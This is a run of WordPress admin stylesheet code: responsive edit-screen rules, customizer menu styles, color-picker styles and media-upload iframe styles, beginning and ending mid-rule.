.empty-container{height:auto;min-height:60px}.columns-prefs,.screen-layout{display:none}}@media screen and (max-width:782px){.wp-core-ui .edit-tag-actions .button-primary{margin-bottom:0}#post-body-content{min-width:0}#titlediv #title-prompt-text{padding:10px}#poststuff .stuffbox .inside{padding:0 0 4px 2px}#poststuff .stuffbox>h3,#poststuff h2,#poststuff h3.hndle{padding:12px}#namediv.stuffbox .editcomment.form-table td{padding:5px 10px}.post-format-options{padding-left:0}.post-format-options a{margin-left:5px;margin-bottom:5px;min-width:52px}.post-format-options .post-format-title{font-size:11px}.post-format-options a div{height:28px;width:28px}.post-format-options a div:before{font-size:26px!important}#post-visibility-select{line-height:280%}.wp-core-ui .save-post-visibility,.wp-core-ui .save-timestamp{vertical-align:middle;margin-left:15px}.timestamp-wrap select#mm{display:block;width:100%;margin-bottom:10px}.timestamp-wrap #aa,.timestamp-wrap #hh,.timestamp-wrap #jj,.timestamp-wrap #mn{padding:12px 3px;font-size:14px;margin-bottom:5px;width:auto;text-align:center}ul.category-tabs{margin:30px 0 15px}ul.category-tabs li.tabs{padding:15px}ul.categorychecklist li{margin-bottom:15px}ul.categorychecklist ul{margin-top:15px}.category-add input[type=text],.category-add select{max-width:none;margin-bottom:15px}.tagsdiv .newtag{width:100%;height:auto;margin-bottom:15px}.tagchecklist{margin:25px 10px}.tagchecklist>li{font-size:16px;line-height:1.4}#commentstatusdiv p{line-height:2.8}.mceToolbar *{white-space:normal!important}.mceToolbar td,.mceToolbar tr{float:right!important}.wp_themeSkin a.mceButton{width:30px;height:30px}.wp_themeSkin .mceButton .mceIcon{margin-top:5px;margin-right:5px}.wp_themeSkin .mceSplitButton{margin-top:1px}.wp_themeSkin .mceSplitButton td a.mceAction{padding:6px 6px 6px 3px}.wp_themeSkin .mceSplitButton td a.mceOpen,.wp_themeSkin .mceSplitButtonEnabled:hover td a.mceOpen{padding-top:6px;padding-bottom:6px;background-position:1px 6px}.wp_themeSkin table.mceListBox{margin:5px}div.quicktags-toolbar input{padding:10px 20px}button.wp-switch-editor{font-size:16px;line-height:1;margin:7px 7px 0 0;padding:8px 12px}#wp-content-media-buttons a{font-size:14px;padding:6px 10px}.wp-media-buttons span.jetpack-contact-form-icon,.wp-media-buttons span.wp-media-buttons-icon{width:22px!important;margin-right:-2px!important}.wp-media-buttons #insert-jetpack-contact-form span.jetpack-contact-form-icon:before,.wp-media-buttons .add_media span.wp-media-buttons-icon:before{font-size:20px!important}#content_wp_fullscreen{display:none}.misc-pub-section{padding:20px 10px}#delete-action,#publishing-action{line-height:3.61538461}#publishing-action .spinner{float:none;margin-top:-2px}.comment-ays td,.comment-ays th{padding-bottom:0}.comment-ays td{padding-top:6px}.links-table #link_rel{max-width:none}.links-table td,.links-table th{padding:10px 0}.edit-term-notes{display:none}.privacy-text-box{width:auto}.privacy-text-box-toc{float:none;width:auto;height:100%;display:flex;flex-direction:column}.privacy-text-section .return-to-top{margin:2em 0 0}}#customize-theme-controls #accordion-section-menu_locations {
	position: relative;
	margin-top: 30px;
}

#customize-theme-controls #accordion-section-menu_locations > .accordion-section-title {
	border-bottom-color: #dcdcde;
	margin-top: 15px;
}

#customize-theme-controls .customize-section-title-nav_menus-heading,
#customize-theme-controls .customize-section-title-menu_locations-heading,
#customize-theme-controls .customize-section-title-menu_locations-description {
	padding: 0 12px;
}

#customize-theme-controls .customize-control-description.customize-section-title-menu_locations-description {
	/* Override the default italic style for control descriptions */
	font-style: normal;
}

.menu-in-location,
.menu-in-locations {
	display: block;
	font-weight: 600;
	font-size: 10px;
}

#customize-controls .theme-location-set,
#customize-controls .control-section .accordion-section-title:focus .menu-in-location,
#customize-controls .control-section .accordion-section-title:hover .menu-in-location {
	color: #50575e;
}

/* The `edit-menu` and `create-menu` buttons also use the `button-link` class. */
.customize-control-nav_menu_location .edit-menu,
.customize-control-nav_menu_location .create-menu {
	margin-left: 6px;
	vertical-align: middle;
	line-height: 2.2;
}

#customize-controls .customize-control-nav_menu_name {
	margin-bottom: 12px;
}

.customize-control-nav_menu_name p:last-of-type {
	margin-bottom: 0;
}

#customize-new-menu-submit {
	float: right;
	min-width: 85px;
}

.wp-customizer .menu-item-bar .menu-item-handle,
.wp-customizer .menu-item-settings,
.wp-customizer .menu-item-settings .description-thin {
	box-sizing: border-box;
}

.wp-customizer .menu-item-bar {
	margin: 0;
}

.wp-customizer .menu-item-bar .menu-item-handle {
	width: 100%;
	max-width: 100%;
	background: #fff;
}

.wp-customizer .menu-item-handle .item-title {
	margin-right: 0;
}

.wp-customizer .menu-item-handle .item-type {
	padding: 1px 21px 0 5px;
	float: right;
	text-align: right;
}

.wp-customizer .menu-item-handle:hover {
	z-index: 8;
}

.customize-control-nav_menu_item.has-notifications .menu-item-handle {
	border-left: 4px solid #72aee6;
}

.wp-customizer .menu-item-settings {
	max-width: 100%;
	overflow: hidden;
	z-index: 8;
	padding: 10px;
	background: #f0f0f1;
	border: 1px solid #8c8f94;
	border-top: none;
}

.wp-customizer .menu-item-settings .description-thin {
	width: 100%;
	height: auto;
	margin: 0 0 8px;
}

.wp-customizer .menu-item-settings input[type="text"] {
	width: 100%;
}

.wp-customizer .menu-item-settings .submitbox {
	margin: 0;
	padding: 0;
}

.wp-customizer .menu-item-settings .link-to-original {
	padding: 5px 0;
	border: none;
	font-style: normal;
	margin: 0;
	width: 100%;
}

.wp-customizer .menu-item .submitbox .submitdelete {
	float: left;
	margin: 6px 0 0;
	padding: 0;
	cursor: pointer;
}


/**
 * Menu items reordering styles
 */

.menu-item-reorder-nav {
	display: none;
	background-color: #fff;
	position: absolute;
	top: 0;
	right: 0;
}

.menus-move-left:before {
	content: "\f341";
}

.menus-move-right:before {
	content: "\f345";
}

.reordering .menu-item .item-controls,
.reordering .menu-item .item-type {
	display: none;
}

.reordering .menu-item-reorder-nav {
	display: block;
}

.customize-control input.menu-name-field {
	width: 100%; /* Override the 98% default for customizer inputs, to align with the size of menu items. */
}

.wp-customizer .menu-item .item-edit {
	position: absolute;
	right: -19px;
	top: 2px;
	display: block;
	width: 30px;
	height: 38px;
	margin-right: 0 !important;
	box-shadow: none;
	outline: none;
	overflow: hidden;
	cursor: pointer;
	text-align: center;
}

.wp-customizer .menu-item.menu-item-edit-active .item-edit .toggle-indicator:before {
	content: "\f142";
}

.wp-customizer .menu-item-settings p.description {
	font-style: normal;
}

.wp-customizer .menu-settings dl {
	margin: 12px 0 0;
	padding: 0;
}

.wp-customizer .menu-settings .checkbox-input {
	margin-top: 8px;
}

.wp-customizer .menu-settings .menu-theme-locations {
	border-top: 1px solid #c3c4c7;
}

.wp-customizer .menu-settings {
	margin-top: 36px;
	border-top: none;
}

.wp-customizer .menu-location-settings {
	margin-top: 12px;
	border-top: none;
}

.wp-customizer .control-section-nav_menu .menu-location-settings {
	margin-top: 24px;
	border-top: 1px solid #dcdcde;
}

.wp-customizer .control-section-nav_menu .menu-location-settings,
.customize-control-nav_menu_auto_add {
	padding-top: 12px;
}

.menu-location-settings .customize-control-checkbox .theme-location-set {
	line-height: 1;
}

.customize-control-nav_menu_auto_add label {
	vertical-align: top;
}

.menu-location-settings .new-menu-locations-widget-note {
	display: block;
}

.customize-control-menu {
	margin-top: 4px;
}

#customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle {
	color: #50575e;
}

/* Screen Options */
.customize-screen-options-toggle {
	background: none;
	border: none;
	color: #50575e;
	cursor: pointer;
	margin: 0;
	padding: 20px;
	position: absolute;
	right: 0;
	top: 30px;
}

#customize-controls .customize-info .customize-help-toggle {
	padding: 20px;
}

#customize-controls .customize-info .customize-help-toggle:before {
	padding: 4px;
}

.customize-screen-options-toggle:hover,
.customize-screen-options-toggle:active,
.customize-screen-options-toggle:focus,
.active-menu-screen-options .customize-screen-options-toggle,
#customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover,
#customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active,
#customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus {
	color: #2271b1;
}

.customize-screen-options-toggle:focus,
#customize-controls .customize-info .customize-help-toggle:focus {
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.customize-screen-options-toggle:before {
	-moz-osx-font-smoothing: grayscale;
	border: none;
	content: "\f111";
	display: block;
	font: 18px/1 dashicons;
	padding: 5px;
	text-align: center;
	text-decoration: none !important;
	text-indent: 0;
	left: 6px;
	position: absolute;
	top: 6px;
}

.customize-screen-options-toggle:focus:before,
#customize-controls .customize-info .customize-help-toggle:focus:before {
	border-radius: 100%;
}

.wp-customizer #screen-options-wrap {
	display: none;
	background: #fff;
	border-top: 1px solid #dcdcde;
	padding: 4px 15px 15px;
}

.wp-customizer .metabox-prefs label {
	display: block;
	padding-right: 0;
	line-height: 30px;
}

/* rework the arrow indicator implementation for NVDA bug same as #32715 */
.wp-customizer .toggle-indicator {
	display: inline-block;
	font-size: 20px;
	line-height: 1;
}

.rtl .wp-customizer .toggle-indicator {
	text-indent: 1px; /* account for the dashicon alignment */
}

.wp-customizer .menu-item .item-edit .toggle-indicator:before,
#available-menu-items .accordion-section-title .toggle-indicator:before {
	content: "\f140";
	display: block;
	padding: 1px 2px 1px 0;
	speak: never;
	border-radius: 50%;
	color: #787c82;
	font: normal 20px/1 dashicons;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	text-decoration: none !important;
}

.control-section-nav_menu .field-link-target,
.control-section-nav_menu .field-title-attribute,
.control-section-nav_menu .field-css-classes,
.control-section-nav_menu .field-xfn,
.control-section-nav_menu .field-description {
	display: none;
}

.control-section-nav_menu.field-link-target-active .field-link-target,
.control-section-nav_menu.field-title-attribute-active .field-title-attribute,
.control-section-nav_menu.field-css-classes-active .field-css-classes,
.control-section-nav_menu.field-xfn-active .field-xfn,
.control-section-nav_menu.field-description-active .field-description {
	display: block;
}

/* WARNING: The 20px factor is hard-coded in JS. */
.menu-item-depth-0  { margin-left: 0;     }
.menu-item-depth-1  { margin-left: 20px;  }
.menu-item-depth-2  { margin-left: 40px;  }
.menu-item-depth-3  { margin-left: 60px;  }
.menu-item-depth-4  { margin-left: 80px;  }
.menu-item-depth-5  { margin-left: 100px; }
.menu-item-depth-6  { margin-left: 120px; }
.menu-item-depth-7  { margin-left: 140px; }
.menu-item-depth-8  { margin-left: 160px; } /* Not likely to be used or useful beyond this depth */
.menu-item-depth-9  { margin-left: 180px; }
.menu-item-depth-10 { margin-left: 200px; }
.menu-item-depth-11 { margin-left: 220px; }

/* @todo handle .menu-item-settings width */
.menu-item-depth-0  > .menu-item-bar { margin-right: 0;     }
.menu-item-depth-1  > .menu-item-bar { margin-right: 20px;  }
.menu-item-depth-2  > .menu-item-bar { margin-right: 40px;  }
.menu-item-depth-3  > .menu-item-bar { margin-right: 60px;  }
.menu-item-depth-4  > .menu-item-bar { margin-right: 80px;  }
.menu-item-depth-5  > .menu-item-bar { margin-right: 100px; }
.menu-item-depth-6  > .menu-item-bar { margin-right: 120px; }
.menu-item-depth-7  > .menu-item-bar { margin-right: 140px; }
.menu-item-depth-8  > .menu-item-bar { margin-right: 160px; }
.menu-item-depth-9  > .menu-item-bar { margin-right: 180px; }
.menu-item-depth-10 > .menu-item-bar { margin-right: 200px; }
.menu-item-depth-11 > .menu-item-bar { margin-right: 220px; }

/* Submenu left margin. */
.menu-item-depth-0  .menu-item-transport { margin-left: 0;      }
.menu-item-depth-1  .menu-item-transport { margin-left: -20px;  }
.menu-item-depth-3  .menu-item-transport { margin-left: -60px;  }
.menu-item-depth-4  .menu-item-transport { margin-left: -80px;  }
.menu-item-depth-2  .menu-item-transport { margin-left: -40px;  }
.menu-item-depth-5  .menu-item-transport { margin-left: -100px; }
.menu-item-depth-6  .menu-item-transport { margin-left: -120px; }
.menu-item-depth-7  .menu-item-transport { margin-left: -140px; }
.menu-item-depth-8  .menu-item-transport { margin-left: -160px; }
.menu-item-depth-9  .menu-item-transport { margin-left: -180px; }
.menu-item-depth-10 .menu-item-transport { margin-left: -200px; }
.menu-item-depth-11 .menu-item-transport { margin-left: -220px; }

/* WARNING: The 20px factor is hard-coded in JS. */
.reordering .menu-item-depth-0  { margin-left: 0;     }
.reordering .menu-item-depth-1  { margin-left: 15px;  }
.reordering .menu-item-depth-2  { margin-left: 30px;  }
.reordering .menu-item-depth-3  { margin-left: 45px;  }
.reordering .menu-item-depth-4  { margin-left: 60px;  }
.reordering .menu-item-depth-5  { margin-left: 75px;  }
.reordering .menu-item-depth-6  { margin-left: 90px;  }
.reordering .menu-item-depth-7  { margin-left: 105px; }
.reordering .menu-item-depth-8  { margin-left: 120px; } /* Not likely to be used or useful beyond this depth */
.reordering .menu-item-depth-9  { margin-left: 135px; }
.reordering .menu-item-depth-10 { margin-left: 150px; }
.reordering .menu-item-depth-11 { margin-left: 165px; }

.reordering .menu-item-depth-0  > .menu-item-bar { margin-right: 0;     }
.reordering .menu-item-depth-1  > .menu-item-bar { margin-right: 15px;  }
.reordering .menu-item-depth-2  > .menu-item-bar { margin-right: 30px;  }
.reordering .menu-item-depth-3  > .menu-item-bar { margin-right: 45px;  }
.reordering .menu-item-depth-4  > .menu-item-bar { margin-right: 60px;  }
.reordering .menu-item-depth-5  > .menu-item-bar { margin-right: 75px;  }
.reordering .menu-item-depth-6  > .menu-item-bar { margin-right: 90px;  }
.reordering .menu-item-depth-7  > .menu-item-bar { margin-right: 105px; }
.reordering .menu-item-depth-8  > .menu-item-bar { margin-right: 120px; }
.reordering .menu-item-depth-9  > .menu-item-bar { margin-right: 135px; }
.reordering .menu-item-depth-10 > .menu-item-bar { margin-right: 150px; }
.reordering .menu-item-depth-11 > .menu-item-bar { margin-right: 165px; }

.control-section-nav_menu.menu .menu-item-edit-active {
	margin-left: 0;
}

.control-section-nav_menu.menu .menu-item-edit-active .menu-item-bar {
	margin-right: 0;
}

.control-section-nav_menu.menu .sortable-placeholder {
	margin-top: 0;
	margin-bottom: 1px;
	max-width: calc(100% - 2px);
	float: left;
	display: list-item;
	border-color: #a7aaad;
}

.menu-item-transport li.customize-control {
	float: none;
}

.control-section-nav_menu.menu ul.menu-item-transport .menu-item-bar {
	margin-top: 0;
}

/**
 * Add-menu-items mode
 */

.adding-menu-items .control-section {
	opacity: .4;
}

.adding-menu-items .control-panel.control-section,
.adding-menu-items .control-section.open {
	opacity: 1;
}

.menu-item-bar .item-delete {
	color: #d63638;
	position: absolute;
	top: 2px;
	right: -19px;
	width: 30px;
	height: 38px;
	cursor: pointer;
	display: none;
}

.menu-item-bar .item-delete:before {
	content: "\f335";
	position: absolute;
	top: 9px;
	left: 5px;
	border-radius: 50%;
	font: normal 20px/1 dashicons;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

.menu-item-bar .item-delete:hover,
.menu-item-bar .item-delete:focus {
	box-shadow: none;
	outline: none;
	color: #d63638;
}

.adding-menu-items .menu-item-bar .item-edit {
	display: none;
}

.adding-menu-items .menu-item-bar .item-delete {
	display: block;
}

/**
 * Styles for menu-item addition panel
 */

#available-menu-items.opening {
	overflow-y: hidden; /* avoid scrollbar jitter with animating heights */
}

#available-menu-items #available-menu-items-search.open {
	height: 100%;
	border-bottom: none;
}

#available-menu-items .accordion-section-title {
	border-left: none;
	border-right: none;
	background: #fff;
	transition: background-color 0.15s;
	/* Reset the value inherited from the base .accordion-section-title style. Ticket #37589. */
	-webkit-user-select: auto;
	user-select: auto;
}

#available-menu-items .open .accordion-section-title,
#available-menu-items #available-menu-items-search .accordion-section-title {
	background: #f0f0f1;
}

/* rework the arrow indicator implementation for NVDA bug see #32715 */
#available-menu-items .accordion-section-title:after {
	content: none !important;
}

#available-menu-items .accordion-section-title:hover .toggle-indicator:before,
#available-menu-items .button-link:hover .toggle-indicator:before,
#available-menu-items .button-link:focus .toggle-indicator:before {
	color: #1d2327;
}

#available-menu-items .open .accordion-section-title .toggle-indicator:before {
	content: "\f142";
	color: #1d2327;
}

#available-menu-items .available-menu-items-list {
	overflow-y: auto;
	max-height: 200px; /* This gets set in JS to fit the screen size, and based on # of sections. */
	background: transparent;
}

#available-menu-items .accordion-section-title button {
	display: block;
	width: 28px;
	height: 35px;
	position: absolute;
	top: 5px;
	right: 5px;
	box-shadow: none;
	outline: none;
	cursor: pointer;
	text-align: center;
}

#available-menu-items .accordion-section-title .no-items,
#available-menu-items .cannot-expand .accordion-section-title .spinner,
#available-menu-items .cannot-expand .accordion-section-title > button {
	display: none;
}

#available-menu-items-search.cannot-expand .accordion-section-title .spinner {
	display: block;
}

#available-menu-items .cannot-expand .accordion-section-title .no-items {
	float: right;
	color: #50575e;
	font-weight: 400;
	margin-left: 5px;
}

#available-menu-items .accordion-section-content {
	max-height: 290px;
	margin: 0;
	padding: 0;
	position: relative;
	background: transparent;
}

#available-menu-items .accordion-section-content .available-menu-items-list {
	margin: 0 0 45px;
	padding: 1px 15px 15px;
}

#available-menu-items .accordion-section-content .available-menu-items-list:only-child { /* Types that do not support new items for the current user */
	margin-bottom: 0;
}

#new-custom-menu-item .accordion-section-content {
	padding: 0 15px 15px;
}

#available-menu-items .menu-item-tpl {
	margin: 0;
}

#custom-menu-item-name.invalid,
#custom-menu-item-url.invalid,
.edit-menu-item-url.invalid,
.menu-name-field.invalid,
.menu-name-field.invalid:focus,
#available-menu-items .new-content-item .create-item-input.invalid,
#available-menu-items .new-content-item .create-item-input.invalid:focus {
	border: 1px solid #d63638;
}

#available-menu-items .menu-item-handle .item-type {
	padding-right: 0;
}

#available-menu-items .menu-item-handle .item-title {
	padding-left: 20px;
}

#available-menu-items .menu-item-handle {
	cursor: pointer;
}

#available-menu-items .menu-item-handle {
	box-shadow: none;
	margin-top: -1px;
}

#available-menu-items .menu-item-handle:hover {
	z-index: 1;
}

#available-menu-items .item-title h4 {
	padding: 0 0 5px;
	font-size: 14px;
}

#available-menu-items .item-add {
	position: absolute;
	top: 1px;
	left: 1px;
	color: #8c8f94;
	width: 30px;
	height: 38px;
	box-shadow: none;
	outline: none;
	cursor: pointer;
	text-align: center;
}

#available-menu-items .menu-item-handle .item-add:focus {
	color: #1d2327;
}

#available-menu-items .item-add:before {
	content: "\f543";
	position: relative;
	left: 2px;
	top: 3px;
	display: inline-block;
	height: 20px;
	border-radius: 50%;
	font: normal 20px/1.05 dashicons; /* line height is to account for the dashicon's vertical alignment */
}

#available-menu-items .menu-item-handle.item-added .item-type,
#available-menu-items .menu-item-handle.item-added .item-title,
#available-menu-items .menu-item-handle.item-added:hover .item-add,
#available-menu-items .menu-item-handle.item-added .item-add:focus {
	color: #8c8f94;
}

#available-menu-items .menu-item-handle.item-added .item-add:before {
	content: "\f147";
}

#available-menu-items .accordion-section-title.loading .spinner,
#available-menu-items-search.loading .accordion-section-title .spinner {
	visibility: visible;
	margin: 0 20px;
}

#available-menu-items-search .spinner {
	position: absolute;
	top: 20px; /* 13 container padding +1 input margin +6 ( ( 32 input height - 20 spinner height ) / 2 ) */
	right: 21px;
	margin: 0 !important;
}

/* search results list */
#available-menu-items #available-menu-items-search .accordion-section-content {
	position: absolute;
	left: 0;
	top: 60px; /* below title div / search input */
	bottom: 0; /* 100% height that still triggers lazy load */
	max-height: none;
	width: 100%;
	padding: 1px 15px 15px;
	box-sizing: border-box;
}

#available-menu-items-search .nothing-found {
	/* Compensate the 1px top padding of the container. */
	margin-top: -1px;
}

#available-menu-items-search .accordion-section-title:after {
	display: none;
}

#available-menu-items-search .accordion-section-content:empty {
	min-height: 0;
	padding: 0;
}

#available-menu-items-search.loading .accordion-section-content div {
	opacity: .5;
}

#available-menu-items-search.loading.loading-more .accordion-section-content div {
	opacity: 1;
}

#customize-preview {
	transition: all 0.2s;
}

body.adding-menu-items #available-menu-items {
	left: 0;
	visibility: visible;
}

body.adding-menu-items .wp-full-overlay-main {
	left: 300px;
}

body.adding-menu-items #customize-preview {
	opacity: 0.4;
}

body.adding-menu-items #customize-preview iframe {
	pointer-events: none;
}

.menu-item-handle .spinner {
	display: none;
	float: left;
	margin: 0 8px 0 0;
}

.nav-menu-inserted-item-loading .spinner {
	display: block;
}

.nav-menu-inserted-item-loading .menu-item-handle .item-type {
	padding: 0 0 0 8px;
}

.nav-menu-inserted-item-loading .menu-item-handle,
.added-menu-item .menu-item-handle.loading {
	padding: 10px 15px 10px 8px;
	cursor: default;
	opacity: .5;
	background: #fff;
	color: #787c82;
}

.added-menu-item .menu-item-handle {
	transition-property: opacity, background, color;
	transition-duration: 1.25s;
	transition-timing-function: cubic-bezier( .25, -2.5, .75, 8 ); /* Replacement for .hide().fadeIn('slow') in JS to add emphasis when it's loaded. */
}

/* Add/delete Menus */

#customize-theme-controls .control-panel-content .control-section-nav_menu:nth-last-child(2) .accordion-section-title {
	border-bottom-color: #dcdcde;
}

/* @todo update selector */
#accordion-section-add_menu {
	margin: 15px 12px;
}

#accordion-section-add_menu h3 {
	text-align: right;
}

#accordion-section-add_menu h3,
#accordion-section-add_menu .customize-add-menu-button {
	margin: 0;
}

#accordion-section-add_menu .customize-add-menu-button {
	font-weight: 400;
}

#create-new-menu-submit {
	float: right;
	margin: 0 0 12px;
}

.menu-delete-item {
	float: left;
	padding: 1em 0;
	width: 100%;
}

.assigned-menu-locations-title p {
	margin: 0 0 8px;
}

li.assigned-to-menu-location .menu-delete-item {
	display: none;
}

li.assigned-to-menu-location .add-new-menu-item {
	margin-bottom: 1em;
}

.menu-item-handle {
	margin-top: -1px;
}
.ui-sortable-disabled .menu-item-handle {
	cursor: default;
}

.menu-item-handle:hover {
	position: relative;
	z-index: 10;
	color: #2271b1;
}

.menu-item-handle:hover .item-type,
.menu-item-handle:hover .item-edit,
#available-menu-items .menu-item-handle:hover .item-add {
	color: #2271b1;
}

.menu-item-edit-active .menu-item-handle {
	border-color: #8c8f94;
	border-bottom: none;
}

.customize-control-nav_menu_item {
	margin-bottom: 0;
}

.customize-control-nav_menu .new-menu-item-invitation {
	margin-top: 0;
	margin-bottom: 0;
}

.customize-control-nav_menu .customize-control-nav_menu-buttons {
	margin-top: 12px;
}

/**
 * box-shadows
 */

.wp-customizer .menu-item .submitbox .submitdelete:focus,
.customize-screen-options-toggle:focus:before,
#customize-controls .customize-info .customize-help-toggle:focus:before,
.wp-customizer button:focus .toggle-indicator:before,
.menu-delete:focus,
.menu-item-bar .item-delete:focus:before,
#available-menu-items .item-add:focus:before {
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}


@media screen and (max-width: 782px) {
	#available-menu-items #available-menu-items-search .accordion-section-content {
		top: 63px;
	}
}

@media screen and (max-width: 640px) {
	#available-menu-items #available-menu-items-search .accordion-section-content {
		top: 130px;
	}
}
/*! This file is auto-generated */
/* rtl:ignore */
.wp-color-picker {
	width: 80px;
	direction: ltr;
}

.wp-picker-container .hidden {
	display: none;
}

/* Needs higher specificiity. */
.wp-picker-container .wp-color-result.button {
	min-height: 30px;
	margin: 0 0 6px 6px;
	padding: 0 30px 0 0;
	font-size: 11px;
}

.wp-color-result-text {
	background: #f6f7f7;
	border-radius: 2px 0 0 2px;
	border-right: 1px solid #c3c4c7;
	color: #50575e;
	display: block;
	line-height: 2.54545455; /* 28px */
	padding: 0 6px;
	text-align: center;
}

.wp-color-result:hover,
.wp-color-result:focus {
	background: #f6f7f7;
	border-color: #8c8f94;
	color: #1d2327;
}

.wp-color-result:hover:after,
.wp-color-result:focus:after {
	color: #1d2327;
	border-color: #a7aaad;
	border-right: 1px solid #8c8f94;
}

.wp-picker-container {
	display: inline-block;
}

.wp-color-result:focus {
	border-color: #4f94d4;
	box-shadow: 0 0 3px rgba(34, 113, 177, 0.8);
}

.wp-color-result:active {
	/* See Trac ticket #39662 */
	transform: none !important;
}

.wp-picker-open + .wp-picker-input-wrap {
	display: inline-block;
	vertical-align: top;
}

.wp-picker-input-wrap label {
	display: inline-block;
	vertical-align: top;
}

/* For the old `custom-background` page, to override the inline-block and margins from `.form-table td fieldset label`. */
.form-table .wp-picker-input-wrap label {
	margin: 0 !important;
}

.wp-picker-input-wrap .button.wp-picker-default,
.wp-picker-input-wrap .button.wp-picker-clear,
.wp-customizer .wp-picker-input-wrap .button.wp-picker-default,
.wp-customizer .wp-picker-input-wrap .button.wp-picker-clear {
	margin-right: 6px;
	padding: 0 8px;
	line-height: 2.54545455; /* 28px */
	min-height: 30px;
}

.wp-picker-container .iris-square-slider .ui-slider-handle:focus {
	background-color: #50575e
}

.wp-picker-container .iris-picker {
	border-radius: 0;
	border-color: #dcdcde;
	margin-top: 6px;
}

.wp-picker-container input[type="text"].wp-color-picker {
	width: 4rem;
	font-size: 12px;
	font-family: monospace;
	line-height: 2.33333333; /* 28px */
	margin: 0;
	padding: 0 5px;
	vertical-align: top;
	min-height: 30px;
}

.wp-color-picker::-webkit-input-placeholder {
	color: #646970;
}

.wp-color-picker::-moz-placeholder {
	color: #646970;
	opacity: 1;
}

.wp-color-picker:-ms-input-placeholder {
	color: #646970;
}

.wp-picker-container input[type="text"].iris-error {
	background-color: #fcf0f1;
	border-color: #d63638;
	color: #000;
}

.iris-picker .ui-square-handle:focus,
.iris-picker .iris-strip .ui-slider-handle:focus {
	border-color: #3582c4;
	border-style: solid;
	box-shadow: 0 0 0 1px #3582c4;
	outline: 2px solid transparent;
}

.iris-picker .iris-palette:focus {
	box-shadow: 0 0 0 2px #3582c4;
}

@media screen and (max-width: 782px) {
	.wp-picker-container input[type="text"].wp-color-picker {
		width: 5rem;
		font-size: 16px;
		line-height: 1.875; /* 30px */
		min-height: 32px;
	}

	.wp-customizer .wp-picker-container input[type="text"].wp-color-picker {
		padding: 0 5px;
	}

	.wp-picker-input-wrap .button.wp-picker-default,
	.wp-picker-input-wrap .button.wp-picker-clear {
		padding: 0 8px;
		line-height: 2.14285714; /* 30px */
		min-height: 32px;
	}

	.wp-customizer .wp-picker-input-wrap .button.wp-picker-default,
	.wp-customizer .wp-picker-input-wrap .button.wp-picker-clear {
		padding: 0 8px;
		font-size: 14px;
		line-height: 2.14285714; /* 30px */
		min-height: 32px;
	}

	.wp-picker-container .wp-color-result.button {
		padding: 0 40px 0 0;
		font-size: 14px;
		line-height: 2.14285714; /* 30px */
	}

	.wp-customizer .wp-picker-container .wp-color-result.button {
		font-size: 14px;
		line-height: 2.14285714; /* 30px */
	}

	.wp-picker-container .wp-color-result-text {
		padding: 0 14px;
		font-size: inherit;
		line-height: inherit;
	}

	.wp-customizer .wp-picker-container .wp-color-result-text {
		padding: 0 10px;
	}
}
/*! This file is auto-generated */
/* Styles for the media library iframe (not used on the Library screen) */

div#media-upload-header {
	margin: 0;
	padding: 5px 5px 0;
	font-weight: 600;
	position: relative;
	border-bottom: 1px solid #dcdcde;
	background: #f6f7f7;
}

#sidemenu {
	overflow: hidden;
	float: none;
	position: relative;
	right: 0;
	bottom: -1px;
	margin: 0 5px;
	padding-right: 10px;
	list-style: none;
	font-size: 12px;
	font-weight: 400;
}

#sidemenu a {
	padding: 0 7px;
	display: block;
	float: right;
	line-height: 28px;
	border-top: 1px solid #f6f7f7;
	border-bottom: 1px solid #dcdcde;
	background-color: #f6f7f7;
	text-decoration: none;
	transition: none;
}

#sidemenu li {
	display: inline;
	line-height: 200%;
	list-style: none;
	text-align: center;
	white-space: nowrap;
	margin: 0;
	padding: 0;
}

#sidemenu a.current {
	font-weight: 400;
	padding-right: 6px;
	padding-left: 6px;
	border: 1px solid #dcdcde;
	border-bottom-color: #f0f0f1;
	background-color: #f0f0f1;
	color: #000;
}

#media-upload:after { /* clearfix */
	content: "";
	display: table;
	clear: both;
}

#media-upload .slidetoggle {
	border-top-color: #dcdcde;
}

#media-upload input[type="radio"] {
	padding: 0;
}

.media-upload-form label.form-help,
td.help {
	color: #646970;
}

form {
	margin: 1em;
}

#search-filter {
	text-align: left;
}

th {
	position: relative;
}

.media-upload-form label.form-help, td.help {
	font-family: sans-serif;
	font-style: italic;
	font-weight: 400;
}

.media-upload-form p.help {
	margin: 0;
	padding: 0;
}

.media-upload-form fieldset {
	width: 100%;
	border: none;
	text-align: justify;
	margin: 0 0 1em;
	padding: 0;
}

/* specific to the image upload form */

.image-align-none-label {
	background: url(../images/align-none.png) no-repeat center right;
}

.image-align-left-label {
	background: url(../images/align-left.png) no-repeat center right;
}

.image-align-center-label {
	background: url(../images/align-center.png) no-repeat center right;
}

.image-align-right-label {
	background: url(../images/align-right.png) no-repeat center right;
}

tr.image-size td {
	width: 460px;
}

tr.image-size div.image-size-item {
	margin: 0 0 5px;
}

#library-form .progress,
#gallery-form .progress,
.insert-gallery,
.describe.startopen,
.describe.startclosed {
	display: none;
}

.media-item .thumbnail {
	max-width: 128px;
	max-height: 128px;
}

thead.media-item-info tr {
	background-color: transparent;
}

.form-table thead.media-item-info {
	border: 8px solid #fff;
}

abbr.required,
span.required {
	text-decoration: none;
	border: none;
}

.describe label {
	display: inline;
}

.describe td.error {
	padding: 2px 8px;
}

.describe td.A1 {
	width: 132px;
}

.describe input[type="text"],
.describe textarea {
	width: 460px;
	border-width: 1px;
	border-style: solid;
}

/* Specific to Uploader */

#media-upload p.ml-submit {
	padding: 1em 0;
}

#media-upload p.help,
#media-upload label.help {
	font-family: sans-serif;
	font-style: italic;
	font-weight: 400;
}

#media-upload .ui-sortable .media-item {
	cursor: move;
}

#media-upload tr.image-size {
	margin-bottom: 1em;
	height: 3em;
}

#media-upload #filter {
	width: 623px;
}

#media-upload #filter .subsubsub {
	margin: 8px 0;
}

#media-upload .tablenav-pages a,
#media-upload .tablenav-pages .current {
	display: inline-block;
	padding: 4px 5px 6px;
	font-size: 16px;
	line-height: 1;
	text-align: center;
	text-decoration: none;
}

#media-upload .tablenav-pages a {
	min-width: 17px;
